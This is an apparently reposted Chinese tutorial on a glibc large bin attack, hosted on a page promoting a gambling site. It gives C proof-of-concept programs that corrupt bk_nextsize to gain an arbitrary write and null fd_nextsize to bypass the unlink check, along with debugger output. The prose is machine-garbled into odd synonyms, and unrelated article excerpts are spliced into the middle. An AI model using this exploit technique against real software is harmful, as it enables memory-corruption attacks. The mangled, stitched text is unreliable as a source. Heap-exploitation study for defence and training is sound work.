large bin的一个破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

large bin的一个破绽

申博_安全预警 申博 121次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

前导学问

malloc_chunk 的组织

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

局部字段的详细的诠释以下:

fd_nextsize, bk_nextsize,也是只需 chunk 余暇的时刻才运用,不外其用于较大的 chunk(large chunk)。

  • fd_nextsize 指向前一个与以后 chunk 巨细分歧的第一个余暇块,不包罗 bin 的头指针。
  • bk_nextsize 指向后一个与以后 chunk 巨细分歧的第一个余暇块,不包罗 bin 的头指针。
  • 一样平常余暇的 large chunk 在 fd 的遍历递次中,依照由大到小的递次分列。如许做能够制止在寻觅适宜 chunk 时挨个遍历。
  • </ul>

    large bin

    ptmalloc接纳bins来治理余暇的chunk,在main_arena中有许多bin,每一个large bin中寄存肯定范围内的chunk,个中的chunk 按 fd 指针的递次从大到小分列。雷同巨细的chunk一样依照近来运用递次分列。

    注重物理地点相邻的两个chunk不克不及在一起。

    源码剖析

    当分派一个chunk的时刻会起首搜检unsort bin中有没有适宜的chunk,若是没有就将unsort bin内里的chunk脱链后加入到对应巨细的bin中去,这里以large bin的插进去为例:

    glibc-2.23/malloc/malloc.c:3532

    /* place chunk in bin */
    // 若是不是small bin,就放到large bin中
    if (in_smallbin_range (size))
    {
      victim_index = smallbin_index (size);
      bck = bin_at (av, victim_index);
      fwd = bck->fd;
    }
    else
    {
      victim_index = largebin_index (size);
      bck = bin_at (av, victim_index);
      fwd = bck->fd;
    
      /* maintain large bins in sorted order */
      if (fwd != bck)
        {
          /* Or with inuse bit to speed comparisons */
          size |= PREV_INUSE;
          /* if smaller than smallest, bypass loop below */
          assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
          if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
            {
              fwd = bck;
              bck = bck->bk;
    
              victim->fd_nextsize = fwd->fd;
              victim->bk_nextsize = fwd->fd->bk_nextsize;
              fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            }
          else
            {
              assert ((fwd->size & NON_MAIN_ARENA) == 0);
              while ((unsigned long) size < fwd->size)
                {
                  fwd = fwd->fd_nextsize;
                  assert ((fwd->size & NON_MAIN_ARENA) == 0);
                }
    
              if ((unsigned long) size == (unsigned long) fwd->size)
                /* Always insert in the second position.  */
                fwd = fwd->fd;
              else
                {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
                }
              bck = fwd->bk;
            }
        }
      else
        victim->fd_nextsize = victim->bk_nextsize = victim;
    }
    
    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
    

    起首猎取large bin的下标,获得对应large bin的指针。

    内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)

    前言 在上一部分的文章中我们基于论文讲解了信息泄露漏洞和bochspwn-reloaded的设计,这一部分讲解bochspwn-reloaded的代码和信息泄露漏洞的其它挖掘方法。 bochspwn-reloaded代码分析 下面我们来介绍bochspwn-reloaded的代码实现。首先来看一下代码的整体架构。bochspwn-reloaded/third_party/instrumentation目录和bochspwn-reloaded/instrumentation目录下都有四个文件夹:linux-x86,windows-x64,windows-x86和windows-x86-markers。bochspwn-reloaded/configs目录下也有对

    glibc-2.23/malloc/malloc.c:3542

    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
    

    接下来设置fd_nextsizebk_nextsize字段,个中victim是我们要插进去的chunk。

    glibc-2.23/malloc/malloc.c:3576

    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;    //1
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim; //2
    

    1和2兼并能够获得fwd->bk_nextsize->fd_nextsize=victim

    glibc-2.23/malloc/malloc.c:3589

    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
    

    以上两个插进去操纵我们能够完成fwd->bk_nextsize->fd_nextsize=victim,fwd->bk=victim。也就是说当我们的large bin中只存在一个chunk的时刻,我们经由过程堆溢出将bk_nextsize字段和bk字段设置为我们想要写入的地点,末了就能够完成恣意地点写。

    毛病实例

    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
        long long x = 0;
        char *p, *q, *r, *s;
    
        p = malloc(0x500);
        // 防备兼并
        malloc(0);
        q = malloc(0x510);
        // 防备兼并
        malloc(0);
    
        // 由于Large bin的遍历递次
        // 是 FIFO,以是下面的递次
        // 不克不及反过来
        free(p);
        free(q);
    
        // p指向的chunk被放入了largebin
        r = malloc(0x510); // q
        // q指向的chunk被放入unsortedbin
        free(r);
    
        // fwd->bk_nextsize->fd_nextsize=victim
        *(void **)(p - 16 + 40) = &x - 4;
    
        s = malloc(0);
    
        return 0;
    }

    该段代码虽然能够修正变量x的值,然则本身却没法经由过程glibc-2.23/malloc/malloc.c:3728中的unlink的双向链表完整性搜检。

    双向链表完整性搜检

    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
        malloc_printerr ("corrupted double-linked list (not small)");   \
    

    调试效果以下:

    Breakpoint /home/ex/glibc/glibc-2.23/malloc/malloc.c:3728
    pwndbg> p *victim
    $1 = {
      prev_size = 0, 
      size = 1297, 
      fd = 0x7ffff7dd5fa8 <main_arena+1160>, 
      bk = 0x602530, 
      fd_nextsize = 0x602000, 
      bk_nextsize = 0x602530
    }
    pwndbg> p *(victim->fd_nextsize )
    $2 = {
      prev_size = 0, 
      size = 1297, 
      fd = 0x7ffff7dd5fa8 <main_arena+1160>, 
      bk = 0x602530, 
      fd_nextsize = 0x602000, 
      bk_nextsize = 0x602530
    }
    pwndbg> p *(victim->bk_nextsize )
    $3 = {
      prev_size = 0, 
      size = 1313, 
      fd = 0x602000, 
      bk = 0x7ffff7dd5fa8 <main_arena+1160>, 
      fd_nextsize = 0x602000, 
      bk_nextsize = 0x7fffffffe370
    }
    pwndbg> p *(victim->bk_nextsize->bk_nextsize )
    $4 = {
      prev_size = 0, 
      size = 0, 
      fd = 0x7fffffffe3c0, 
      bk = 0x400694 <main+158>, 
      fd_nextsize = 0x602530, 
      bk_nextsize = 0x602010
    }

    绕过unlink

    在实行双向链表完整性搜检之前,另有一个推断,我们能够用下面的推断来绕过unlink。

    glibc-2.27/malloc/malloc.c:1414

    if (!in_smallbin_range (chunksize_nomask (P))            \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {          \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
      || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
         malloc_printerr ("corrupted double-linked list (not small)")
    

    只需我们组织的chunk的fd_nextsize为NULL便可绕过。

    准确实例

    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
        long long x = 0;
        char *p, *q, *r, *s;
    
        p = malloc(0x500);
        // 防备兼并
        malloc(0);
        q = malloc(0x510);
        // 防备兼并
        malloc(0);
    
        // 由于Large bin的遍历递次
        // 是 FIFO,以是下面的递次
        // 不克不及反过来
        free(p);
        free(q);
    
        // p指向的chunk被放入了largebin
        r = malloc(0x510); // q
        // q指向的chunk被放入unsortedbin
        free(r);
    
        fprintf(stderr, "x : %lld\n", x);
    
        // P->fd_nextsize=NULL
        *(void **)(p - 16 + 32) = NULL;
        // P->bk_nextsize->fd_nextsize=victim
        *(void **)(p - 16 + 40) = &x - 4;
    
        s = malloc(0);
    
        fprintf(stderr, "x : %lld\n", x);
    
        return 0;
    }
    

    运转实例

    ex@ubuntu:~/test$ gcc main.c
    ex@ubuntu:~/test$ ./a.out 
    x : 0
    x : 20276528

    总结

    heap内里许多器械都是对照笼统的,然则经由过程调试能让我们更好的去明白它。

C++逆向学习(二) vector

现在的逆向C++题越来越多,经常上来就是一堆容器、标准模板库,这个系列主要记录这些方面的逆向学习心得 本文主要介绍std::vector,因为逆向题中的C++代码可能会故意写的很绕,比如输入一个数组,直接给vector赋值即可,但是也可以用稍微费解的方法连续push_back(),也算是一种混淆的手段,文章中的示例会逆向一些故意写的繁琐的程序 vector 内存布局 仍然用vs调试,观察内存布局 vector a的第一个字段是size 大小第二个字段是capacity 容量 和std::string差不多 当size>capacit


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明large bin的一个破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址